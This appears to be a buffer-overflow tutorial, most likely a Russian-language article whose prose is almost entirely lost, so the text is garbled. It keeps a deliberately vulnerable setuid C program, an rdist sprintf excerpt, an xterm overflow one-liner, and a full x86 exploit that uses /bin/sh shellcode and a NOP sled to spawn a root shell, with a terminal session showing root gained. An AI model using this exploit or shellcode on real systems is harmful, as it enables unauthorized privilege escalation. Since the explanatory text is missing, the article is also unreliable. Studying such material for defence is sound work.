- 5.1
- 5.2.
, - , , - , , , . , "buffer-overflow" . , , , - , . , "?", "?".
- , "Memory fault - core dumped" "General Protection Fault". , , . , , , , , "" - . - " " . - Unix, - (Windows), MS-DOS, .
. , , 1024 , , . , . , , , . , - , ; , , - "" , .
, "" , , , . ? . , , , , . , , , "buffer-overflow exploits" - , / .
1.
, "rabbit.c":
#include <stdio.h>
#include <string.h>
void process(char*str)
{
char buffer[256];
strcpy(buffer, str);
printf(" = %d\n",
strlen(buffer));
return;
}
void main(int argc,
char*argv[])
{
if (argc == 2)
process(argv[1]);
else
printf("Usage: %s some_
string\n", argv[0]);
}
, , strcpy() sprintf(), .
, process(). , ( , ) :
- ( ), . , , - . , , , - , . , , , . , :
? (BP), . , , ( 86):
push bp mov bp,sp
BP, .
256 . malloc() new , "static", . :
, "strcpy()". , , , , BP, , , , .
, ? strcpy() , - "0", , , RETADR. , - , return(). , RETADR, , , . - , , , - , .
2. ,
, - . , , , REDADR ? return() , . , .
strcpy()?
? -, , , RETADR. , exploit , . -, , 0, - . , , , BP, - , . -, , core dump, , RETADR. , , - - .
, , . , Linux, BSD-family, Solaris, /bin/sh , Internet . , Internet - Solaris.
3. ?
, , . . , ; . , , . "" sendmail, , , .
- . , , , . , , , . / . , - .
, , :
- ;
- system call;
- ;
- ;
- , ;
- , , / , .
, - .
4.
rdist BSD , . , /usr/bin/rdist, . rdist (setuid bit), root^ shell root.
POP- , - sprintf(). ? , 110- (pop3-) , pop- sprintf() "" shell return(), root. , , root.
finger, , .
, X-Window, , "-display <displayname>" X-. , XFree86 displayname , root- /usr/X11R6/bin/xterm. , Xlib X-.
freebsd-security - - , BSD, SunOS, ( ). , , ?
, exploit- , ( ), , ( BUFFER_SIZE, SKIP_VARS), -.
5. ?
: "" " ".
, UNIX, , . , x86 , , , Sparc MIPS; . , - , .
5.1
, , , . - . buffer-overflow exploits.
- : , (root setuid-; , inetd ..), strcpy, gets, sprintf, , , , , . BUFSIZ, PATH_MAX . , .
1) .
2) strcpy, gets, sprintf etc - strncpy, snprintf, fgets.
3) .
rdist BSD:
struct namelist * lookup(name,
action, value)
char *name;
int action;
struct namelist *value;
{
register unsigned n;
register char *cp;
register struct syment *s;
char buf[256];
. . .
if (action != INSERT ||
s->s_type != CONST) {
(void)sprintf(buf, "%s
redefined", name);
yyerror(buf);
, buf , . , , "!!!", ( printf , rdist):
if (action != INSERT ||
s->s_type != CONST) {
if (strlen(name) > 240)
{
printf("The something
going on...\n");
exit(1);
}
(void)sprintf(buf, "%s
redefined", name);
- : , , . , xterm :
/usr/bin/X11R6/xterm -display `perl "{print "A" x 5000;}"`:0
5000 ( , BUFSIZ, FILENAME_MAX .., /usr/include, 2048 ). / , .
"Memory fault, core dump saved", , , :
1) setuid- , ;
2) ;
3) .
, . , :
for (char *temp = buffer; *buffer; buffer++) *temp++ = *buffer;
, strcpy(). exploit- . , sendmail 8.7.5, GECOS-, BSD chfn, chsh chpass. , , : , / sendmail .
5.2.
, UNIX security, BUGTRAQ, BoS, WDL; CERT (Computer Emergency Response Team), . file:///I:/tppmsgs/msgs102.htm#10239.
, , , ( /var/log/messages). , , .
Unix, . , , MS Word, DOC- ? , , DOS/WIN, , .
, , , , NT . Internet exploit NT, ; , . NT .
- . , , , , .
#include <stdio.h>
#include <stdlib.h>
#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 256
#define SKIP_VARS 4
/* */
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
void main()
{
char *buff = NULL;
char *ptr = NULL;
int i;
/* /bin/sh */
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07"
"\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b"
"\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18\xe8\xd8"
"\xff\xff\xff/bin/sh\x01\x01\x01\x01\x02\x02\x02\x02"
"\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
/* */
buff = malloc(BUFFER_SIZE+16);
if(!buff)
{
perror("Can"t allocate memory");
exit(0);
}
ptr = buff;
/* NOP (" ") */
for (i=0; i < BUFFER_SIZE-strlen(execshell); i++)
*(ptr++) = 0x90;
/* */
for (i=0; i < strlen(execshell); i++)
*(ptr++) = execshell[i];
/* , */
for (i=0; i < SKIP_VARS; i++)
*(ptr++) = 0x90;
/* */
*(long *)ptr = get_esp() + DEFAULT_OFFSET;
ptr += 4;
/* 0 */
*ptr = 0;
/* */
printf("%s\n", buff);
execl("./rabbit", "rabbit", buff, NULL);
}
:
# id
uid=0(root) gid=0(wheel)
# gcc -o rabbit rabbit.c
# chmod u+s rabbit
# ls -l rabbit - , rabbit-root-setuid
-rwsr-xr-x 1 root wheel 12288 Jan 1 00:01 rabbit
# su user
$ id
uid=200 (user), group = 200 (users)
- -
$ ./rabbit test - ...
= 4
$ gcc -o exploit exploit.c - ...
$ ./exploit - exploit,
= 264 - rabbit
# id
uid=200(root) gid=200(users) euid=0(root)
- -, !
 | 10.11.2021 - 12:37: - Personalias -> WHO IS WHO - - _. 10.11.2021 - 12:36: - Conscience -> . ? - _. 10.11.2021 - 12:36: , , - Upbringing, Inlightening, Education -> ... - _. 10.11.2021 - 12:35: - Ecology -> - _. 10.11.2021 - 12:34: , - War, Politics and Science -> - _. 10.11.2021 - 12:34: , - War, Politics and Science -> . - _. 10.11.2021 - 12:34: , , - Upbringing, Inlightening, Education -> , - _. 10.11.2021 - 09:18: - New Technologies -> , 5G- - _. 10.11.2021 - 09:18: - Ecology -> - _. 10.11.2021 - 09:16: - Ecology -> - _. 10.11.2021 - 09:15: , , - Upbringing, Inlightening, Education -> - _. 10.11.2021 - 09:13: , , - Upbringing, Inlightening, Education -> - _. |
|
|
 |